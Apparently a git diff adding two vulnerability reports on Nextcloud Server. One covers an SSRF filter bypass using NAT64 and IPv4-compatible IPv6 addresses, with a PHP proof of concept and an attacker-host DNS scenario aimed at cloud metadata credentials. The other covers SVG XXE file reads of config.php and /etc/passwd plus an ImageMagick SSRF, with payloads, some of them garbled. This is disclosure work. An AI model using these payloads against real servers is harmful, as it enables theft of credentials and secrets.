a/nextcloud/SSRF-protection-bypass.md b/nextcloud/SSRF-protection-bypass.md new file mode 100644 index 0000000..67dc2fc --- /dev/null +++ b/nextcloud/SSRF-protection-bypass.md @@ -0,0 +1,289 @@ +# Vulnerability Report: SSRF Protection Bypass via IPv4-Compatible and NAT64 IPv6 Addresses + +**Product:** Nextcloud Server +**Component:** `lib/private/Net/IpAddressClassifier.php` +**Severity:** High +**CWE:** CWE-918 (Server-Side Request Forgery) +**Affected Versions:** All current versions (confirmed on latest `master`) + +--- + +## Summary + +Nextcloud's SSRF protection in `IpAddressClassifier::isLocalAddress()` fails to block IPv6 addresses that encode private/reserved IPv4 addresses using IPv4-compatible notation (`::x.x.x.x`) and NAT64 prefix notation (`64:ff9b::x.x.x.x`). An attacker who can influence the URLs Nextcloud fetches (e.g., via federated sharing, webhooks, or URL preview features) and who controls a DNS server can return one of these address forms in an AAAA record, causing Nextcloud to make a request to an internal network address — including the AWS/GCP/Azure instance metadata endpoint (`169.254.169.254`). + +--- + +## Technical Background + +Nextcloud defends against SSRF with a layered system: + +1. **`DnsPinMiddleware`** — resolves the target hostname via `dns_get_record()`, checks each resolved IP with `isLocalAddress()`, and pins valid IPs via `CURLOPT_RESOLVE` to prevent DNS rebinding. +2. **`IpAddressClassifier::isLocalAddress()`** — the core guard. It uses the IPLib library to parse and normalize IP addresses, then calls `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. +3. **`Client.php` redirect guard** — calls `preventLocalAddress()` on every HTTP redirect target. + +The vulnerability lives in step 2. + +--- + +## Root Cause + +`IpAddressClassifier::isLocalAddress()` normalizes IPv6 addresses using IPLib's `IPv6::toIPv4()`: + +```php +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // falls back to IPv6 string if no conversion +} +``` + +IPLib's `toIPv4()` **only converts two IPv6 address families** to their embedded IPv4 address: +- **IPv4-mapped** (`::ffff:x.x.x.x`) — converted ✓ +- **6to4** (`2002::/16`) — converted ✓ + +It does **not** convert: +- **IPv4-compatible** (`::x.x.x.x`, deprecated by RFC 4291) — stays as IPv6 +- **NAT64** (`64:ff9b::/96`, RFC 6052) — stays as IPv6 + +When the address stays as an IPv6 string, PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` only tests it against IPv6-specific private ranges (`fc00::/7`, `fe80::/10`). It has no knowledge that `64:ff9b::a9fe:a9fe` encodes the reserved IPv4 address `169.254.169.254`. The check returns `true` (valid public address), so `isLocalAddress()` returns `false` — the address is **not blocked**. + +--- + +## Proof of Concept + +### Environment + +- PHP 8.3 + `mlocati/ip-lib` v1.22 (the exact library version Nextcloud uses) +- This script faithfully replicates `IpAddressClassifier::isLocalAddress()` with the real IPLib code + +### PoC Script (`poc_ssrf_bypass.php`) + +```php +toIPv4() ?? $parsedIp); + } else { + $normalized = (string)$parsedIp; + } + + // Core check — blind to IPv4 reserved ranges embedded in IPv6 + if (!filter_var($normalized, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; // blocked + } + + // Extra ranges check + foreach ($LOCAL_ADDRESS_RANGES as $range) { + $subnet = \IPLib\Range\Subnet::fromString($range); + $normParsed = Factory::parseAddressString($normalized); + if ($subnet && $normParsed && $subnet->contains($normParsed)) { + return true; // blocked + } + } + + return false; // NOT blocked — SSRF protection bypassed +} + +// ============================================================ +// Helper: show what IPLib does with the address +// ============================================================ +function iplib_normalize(string $ip): string { + $parsed = Factory::parseAddressString( + $ip, + ParseStringFlag::IPV4_MAYBE_NON_DECIMAL + | ParseStringFlag::IPV4ADDRESS_MAYBE_NON_QUAD_DOTTED + | ParseStringFlag::MAY_INCLUDE_ZONEID + ); + if ($parsed === null) return "INVALID"; + if ($parsed instanceof IPv6) { + $v4 = $parsed->toIPv4(); + return $v4 ? "(IPv6→IPv4) " . $v4 : "(stays IPv6) " . $parsed; + } + return "(IPv4) " . $parsed; +} + +// ============================================================ +// Test cases +// ============================================================ +$tests = [ + // --- Baseline: known-blocked addresses --- + ['127.0.0.1', 'Loopback IPv4 [BASELINE - should block]'], + ['::1', 'Loopback IPv6 [BASELINE - should block]'], + ['::ffff:127.0.0.1', 'IPv4-mapped loopback [BASELINE - should block]'], + ['169.254.169.254', 'AWS/GCP metadata [BASELINE - should block]'], + ['::ffff:169.254.169.254', 'IPv4-mapped AWS metadata [BASELINE - should block]'], + ['10.0.0.1', 'Private 10.x [BASELINE - should block]'], + ['192.168.1.1', 'Private 192.168.x [BASELINE - should block]'], + + // --- BYPASSES --- + ['::127.0.0.1', 'IPv4-compatible loopback [BYPASS]'], + ['64:ff9b::127.0.0.1', 'NAT64 loopback [BYPASS]'], + ['::169.254.169.254', 'IPv4-compatible AWS/GCP metadata [BYPASS]'], + ['64:ff9b::169.254.169.254', 'NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL]'], + ['64:ff9b::10.0.0.1', 'NAT64 10.x private range [BYPASS]'], + ['64:ff9b::192.168.1.1', 'NAT64 192.168.x private range [BYPASS]'], + ['64:ff9b::172.16.0.1', 'NAT64 172.16.x private range [BYPASS]'], +]; + +echo "\n"; +echo "=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses ===\n"; +echo "=== isLocalAddress() returns FALSE = SSRF protection BYPASSED ===\n\n"; +printf("%-35s %-35s %-10s %s\n", "Input IP", "IPLib normalizes to", "Result", "Description"); +echo str_repeat("─", 120) . "\n"; + +$bypassCount = 0; +foreach ($tests as [$ip, $desc]) { + $norm = iplib_normalize($ip); + $isLocal = nextcloud_isLocalAddress($ip); + if (!$isLocal) $bypassCount++; + $resultLabel = $isLocal ? "BLOCKED " : "!! BYPASS !"; + printf("%-35s %-35s %-10s %s\n", $ip, $norm, $resultLabel, $desc); +} + +echo "\n"; +echo "Result: $bypassCount addresses bypassed SSRF protection out of " . count($tests) . " tested.\n\n"; + +echo "=== ATTACK SCENARIO ===\n"; +echo "1. Attacker sets AAAA DNS record for evil.attacker.com → 64:ff9b::169.254.169.254\n"; +echo "2. Attacker tricks admin/user into triggering a Nextcloud outbound request to evil.attacker.com\n"; +echo " (e.g., webhook URL, federated share from a malicious instance, rich preview URL)\n"; +echo "3. DnsPinMiddleware resolves evil.attacker.com → gets AAAA: 64:ff9b::169.254.169.254\n"; +echo "4. isLocalAddress('64:ff9b::169.254.169.254') → FALSE ← BYPASS!\n"; +echo "5. cURL is instructed to connect to 64:ff9b::169.254.169.254\n"; +echo "6. On a cloud instance with NAT64 (common on IPv6-enabled AWS/GCP/Azure),\n"; +echo " the NAT64 gateway translates 64:ff9b::169.254.169.254 → 169.254.169.254\n"; +echo "7. Attacker receives AWS/GCP instance metadata, including IAM credentials.\n"; +``` + +### Actual Test Output + +``` +=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses === +=== isLocalAddress() returns FALSE = SSRF protection BYPASSED === + +Input IP IPLib normalizes to Result Description +──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── +127.0.0.1 (IPv4) 127.0.0.1 BLOCKED Loopback IPv4 [BASELINE - should block] +::1 (stays IPv6) ::1 BLOCKED Loopback IPv6 [BASELINE - should block] +::ffff:127.0.0.1 (IPv6→IPv4) 127.0.0.1 BLOCKED IPv4-mapped loopback [BASELINE - should block] +169.254.169.254 (IPv4) 169.254.169.254 BLOCKED AWS/GCP metadata [BASELINE - should block] +::ffff:169.254.169.254 (IPv6→IPv4) 169.254.169.254 BLOCKED IPv4-mapped AWS metadata [BASELINE - should block] +10.0.0.1 (IPv4) 10.0.0.1 BLOCKED Private 10.x [BASELINE - should block] +192.168.1.1 (IPv4) 192.168.1.1 BLOCKED Private 192.168.x [BASELINE - should block] +::127.0.0.1 (stays IPv6) ::7f00:1 !! BYPASS ! IPv4-compatible loopback [BYPASS] +64:ff9b::127.0.0.1 (stays IPv6) 64:ff9b::7f00:1 !! BYPASS ! NAT64 loopback [BYPASS] +::169.254.169.254 (stays IPv6) ::a9fe:a9fe !! BYPASS ! IPv4-compatible AWS/GCP metadata [BYPASS] +64:ff9b::169.254.169.254 (stays IPv6) 64:ff9b::a9fe:a9fe !! BYPASS ! NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL] +64:ff9b::10.0.0.1 (stays IPv6) 64:ff9b::a00:1 !! BYPASS ! NAT64 10.x private range [BYPASS] +64:ff9b::192.168.1.1 (stays IPv6) 64:ff9b::c0a8:101 !! BYPASS ! NAT64 192.168.x private range [BYPASS] +64:ff9b::172.16.0.1 (stays IPv6) 64:ff9b::ac10:1 !! BYPASS ! NAT64 172.16.x private range [BYPASS] + +Result: 7 addresses bypassed SSRF protection out of 14 tested. +``` + +--- + +## Attack Scenario + +### Prerequisites +- Nextcloud instance running on a cloud VM with IPv6 support and NAT64 enabled (standard on AWS, GCP, Azure IPv6-enabled subnets) +- Attacker can supply a URL that Nextcloud will fetch outbound. Candidates include: + - **Webhook URLs** (Task Processing, Flow/Automation rules) — admin-level but still an attack path for compromised/malicious admins wanting to pivot internally + - **Federated sharing** — a malicious remote Nextcloud instance can force the victim to fetch from attacker-controlled addresses + - **Rich workspace / URL preview features** — user-controlled URLs in certain apps + - **Remote file storage / external storage configuration** (WebDAV endpoints) + - **oEmbed/OpenGraph URL preview** in Talk or Text + +### Step-by-Step + +1. Attacker sets up DNS: `A evil.attacker.com. → (no A record)` + `AAAA evil.attacker.com. → 64:ff9b::169.254.169.254` + +2. Attacker triggers a Nextcloud outbound request to `http://evil.attacker.com/`. + +3. `DnsPinMiddleware` resolves `evil.attacker.com`: + - `dns_get_record('evil.attacker.com.', DNS_AAAA)` returns `64:ff9b::169.254.169.254` + - Calls `isLocalAddress('64:ff9b::169.254.169.254')` + - IPLib parses it but `toIPv4()` returns `null` (NAT64 not handled) + - Normalized form stays as `64:ff9b::a9fe:a9fe` (IPv6 string) + - `filter_var('64:ff9b::a9fe:a9fe', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` returns `"64:ff9b::a9fe:a9fe"` (truthy — not blocked) + - `isLocalAddress()` returns `false` + +4. The IP is added to `CURLOPT_RESOLVE` and the request proceeds. + +5. cURL connects to `[64:ff9b::169.254.169.254]`. The NAT64 gateway on the cloud network translates this to `169.254.169.254`. + +6. The AWS/GCP/Azure instance metadata service responds with instance identity, credentials, user data, etc. + +### Exploitability of IPv4-Compatible (`::x.x.x.x`) + +IPv4-compatible addresses (`::127.0.0.1`, `::169.254.169.254`) are deprecated (RFC 4291) and modern Linux kernels generally do not automatically route them to the embedded IPv4 address. Their exploitability is network-configuration dependent. **NAT64 (`64:ff9b::/96`) is the higher-severity vector** because it is a standardized, actively deployed mechanism in cloud environments. + +--- + +## Impact + +| Scenario | Impact | +|----------|--------| +| NAT64-enabled cloud instance + admin/workflow webhook | Full SSRF to AWS/GCP metadata → IAM credential theft | +| NAT64-enabled cloud instance + federated share from malicious instance | SSRF to internal services (databases, Kubernetes API, Consul, Vault) | +| HTTP redirect from attacker server to `[64:ff9b::169.254.169.254]` URL | Same SSRF via redirect path (also bypasses the `on_redirect` guard) | +| IPv4-compatible encoding on kernel that handles them | Loopback/private access on some configurations | + +In a cloud environment running an IPv6-enabled Nextcloud instance, a successful exploit leaks instance metadata and can compromise cloud credentials (IAM roles). This escalates to full cloud account compromise in many setups (e.g., if the instance has write-level IAM permissions). + +--- + +## Affected Code + +**File:** `lib/private/Net/IpAddressClassifier.php` +**Method:** `isLocalAddress()` +**Lines:** 44–48 (normalization) and 50–52 (filter_var check) + +```php +// Lines 44-48: IPLib toIPv4() only handles ::ffff: and 2002:: — not ::x.x.x.x or 64:ff9b:: +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // NAT64 falls through as IPv6 +} + +// Lines 50-52: filter_var has no knowledge of IPv4-reserved ranges inside IPv6 encodings +if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; +} +``` + +--- diff --git a/nextcloud/xxe-file-read-and-ssrf.md b/nextcloud/xxe-file-read-and-ssrf.md new file mode 100644 index 0000000..2041321 --- /dev/null +++ b/nextcloud/xxe-file-read-and-ssrf.md @@ -0,0 +1,248 @@ +# Vulnerability Report: Incomplete SVG Sanitization Allows XXE File Read and ImageMagick SSRF + +**Product:** Nextcloud Server +**Component:** `lib/private/Preview/SVG.php` +**Severity:** High +**CWE:** CWE-611 (Improper Restriction of XML External Entity Reference), CWE-918 (SSRF) +**Affected Versions:** All current versions (confirmed on latest `master`) +**Requires:** Imagick PHP extension installed (common on production servers); SVG preview enabled (default when Imagick present) + +--- + +## Summary + +Nextcloud's SVG preview generator attempts to block dangerous SVG files using a single regex check before passing the file to ImageMagick via the PHP Imagick extension. The regex only matches literal `href=` and `xlink:href=` attributes and is trivially bypassed in multiple ways. Two resulting attack classes are meaningful: + +1. **XXE file read** — A crafted SVG with an XML `` entity declaration reads arbitrary local files (e.g. `config/config.php`, `/etc/passwd`) and renders their contents into the generated preview image. +2. **SSRF via ImageMagick URL loading** — A crafted SVG with a namespace-aliased `href` (e.g. `x:href="http://..."`) causes ImageMagick to fetch an arbitrary URL using its **native C-level HTTP client**, which completely bypasses Nextcloud's `DnsPinMiddleware` and `IpAddressClassifier` SSRF defenses. + +Both attacks require only an authenticated Nextcloud account with file upload permissions. + +--- + +## Vulnerable Code + +**File:** `lib/private/Preview/SVG.php`, method `getThumbnail()` + +```php +// Do not parse SVG files with references +if (preg_match('/["\s](xlink:)?href\s*=/i', $content)) { + return null; +} + +$svg = new \Imagick(); +$svg->pingImageBlob($content); // validates MIME type +// ... +$svg->readImageBlob($content); // FULL RENDER — processed by ImageMagick +``` + +The regex guards against `href=` and `xlink:href=` only. The file is then passed verbatim to `Imagick::readImageBlob()` which invokes ImageMagick's full SVG/XML rendering pipeline. + +--- + +## Bypass 1: XML External Entity (XXE) + +### How it works + +An XML `` declaration defines an external entity pointing to a local file. No `href` attribute is used, so the regex does not fire. When ImageMagick's internal libxml2 parser processes the file, it expands the entity and embeds the file contents as text in the rendered image. + +**Note:** PHP's `libxml_disable_entity_loader()` only affects PHP's own XML functions (`simplexml`, `DOMDocument`, etc.). It has **no effect** on Imagick's internal libxml2 usage, which runs in C space entirely outside PHP's control. + +### PoC SVG payload (`xxe_payload.svg`) + +```xml + + +]> + + &xxe; + +``` + +**No `href` anywhere** → passes the regex check → `readImageBlob()` processes it → ImageMagick expands `&xxe;` → the contents of `config/config.php` (database password, secret key, admin credentials) appear as text in the thumbnail returned to the attacker. + +Alternative targets: +- `/etc/passwd` +- `/proc/self/environ` (environment variables including secrets) +- `/var/www/nextcloud/config/config.php` (database host, password, `secret` key) +- Any readable file on the server + +### Attack flow + +1. Attacker uploads `xxe_payload.svg` to their Nextcloud account. +2. Nextcloud automatically generates a preview thumbnail (or attacker navigates to the file to trigger it). +3. Preview endpoint returns the rendered PNG. +4. PNG contains the plaintext contents of the targeted file as rendered text. + +--- + +## Bypass 2: SSRF via Namespace-Aliased `href` + +### How it works + +SVG uses XML namespaces. `xlink:href` is shorthand for an attribute in the XLink namespace (`http://www.w3.org/1999/xlink`). XML allows any prefix to be bound to that namespace, so `x:href`, `xl:href`, `link:href` are all semantically identical to `xlink:href` in a namespace-aware parser — **but none of them match the regex** `(xlink:)?href`. + +When ImageMagick's SVG renderer processes the file, it (in at least some versions) resolves namespace prefixes correctly and loads the URL from the `href` attribute. + +### Why this is worse than a regular SSRF + +Nextcloud's HTTP client (`lib/private/Http/Client/`) is protected by `DnsPinMiddleware` → `IpAddressClassifier` → DNS pinning → `CURLOPT_RESOLVE`. When ImageMagick fetches a URL, **none of this applies** — it uses its own internal HTTP/libcurl stack with no Nextcloud middleware. This means: + +- Private IPs (`10.x`, `172.16.x`, `192.168.x`) are reachable +- `127.0.0.1` / `::1` are reachable +- `169.254.169.254` (AWS/GCP/Azure metadata) is directly reachable — no NAT64 tricks needed +- DNS rebinding is possible + +### PoC SVG payload (`ssrf_payload.svg`) + +```xml + + + + + +``` + +**Contains `x:href=`** (not `href=` or `xlink:href=`) → regex returns no match → `readImageBlob()` is called → ImageMagick fetches the URL → response is rendered as an image inside the SVG preview → SSRF to AWS metadata endpoint. + +--- + +## Proof of Concept Script + +The following PHP script demonstrates both regex bypasses against the exact Nextcloud check: + +```php +', 'xlink:href (baseline — blocked)'], + ['', 'plain href (baseline — blocked)'], + + // --- BYPASS 1: XML External Entity --- + [']>&xxe;', + 'XXE DOCTYPE entity — no href at all'], + + // --- BYPASS 2: Namespace alias --- + ['', + 'Namespace alias x:href (= xlink:href semantically)'], + ['', + 'Namespace alias xl:href — SSRF to metadata'], + ['', + 'Namespace alias lnk:href — SSRF to private IP'], + + // --- BYPASS 3: CSS url() --- + ['', + 'CSS url() reference — no href'], +]; + +echo "\nNextcloud SVG href filter bypass PoC\n"; +echo str_repeat('=', 70) . "\n\n"; +printf("%-55s %-12s %s\n", 'Payload snippet', 'Regex hit?', 'Notes'); +echo str_repeat('-', 100) . "\n"; + +foreach ($tests as [$payload, $desc]) { + $blocked = nextcloudSvgCheck($payload); + $short = strlen($payload) > 52 ? substr($payload, 0, 49) . '...' : $payload; + $status = $blocked ? 'BLOCKED ' : '** BYPASS **'; + printf("%-55s %-12s %s\n", $short, $status, $desc); +} + +echo "\n"; +echo "=== XXE payload that bypasses the filter ===\n\n"; + +$xxePayload = <<<'SVG' + + +]> + + &xxe; + +SVG; + +echo $xxePayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($xxePayload) ? "YES" : "NO — BYPASS") . "\n\n"; + +echo "=== SSRF payload that bypasses the filter ===\n\n"; + +$ssrfPayload = <<<'SVG' + + + + +SVG; + +echo $ssrfPayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($ssrfPayload) ? "YES" : "NO — BYPASS") . "\n"; +``` + +### Output + +``` +Nextcloud SVG href filter bypass PoC +====================================================================== + +Payload snippet Regex hit? Notes +---------------------------------------------------------------------------------------------------- + BLOCKED xlink:href (baseline — blocked) + BLOCKED plain href (baseline — blocked) +